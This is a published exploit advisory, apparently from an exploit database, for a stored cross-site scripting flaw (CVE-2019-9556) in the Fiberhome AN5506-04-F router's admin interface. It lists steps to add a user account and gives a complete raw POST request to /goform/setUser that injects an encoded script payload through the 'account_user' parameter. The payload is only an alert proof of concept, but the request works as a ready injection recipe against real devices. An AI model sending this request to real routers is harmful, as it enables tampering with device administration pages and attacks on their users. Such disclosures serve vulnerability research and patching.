41 lines
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1.8 KiB
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41 lines
No EOL
1.8 KiB
Text
# Exploit Title: Fiberhome AN5506-04-F - Stored Cross Site Scripting
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# Date: 04.03.2019
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# Exploit Author: Tauco
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# Vendor Homepage: http://www.fiberhomegroup.com/en/
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# Version: RP2669
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# Tested on: Windows 10
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# CVE : CVE-2019-9556
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Description:
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===========================================================================
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Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application.
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https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)
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Proof of concept :
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===========================================================================
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1. Login with credential 192.168.1.1
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2. Go to Management
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3. Open User Account
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4. Add user
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5. Inject the post parameter "account_user"
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6. Encode Url <script>alert("XSS")</script>
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POST /goform/setUser HTTP/1.1
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Host: 192.168.1.1
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Content-Length: 101
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Cache-Control: max-age=0
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Origin: http://192.168.1.1
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Upgrade-Insecure-Requests: 1
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Content-Type: application/x-www-form-urlencoded
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
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Referer: http://192.168.1.1/management/account_admin.asp
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9
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Cookie: loginName=admin
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Connection: close
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account_user=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%58%53%53%22%29%3c%2f%73%63%72%69%70%74%3e&account_pwd=password123&account_pwd2=password123&btnApply1=Apply&curIndex=new |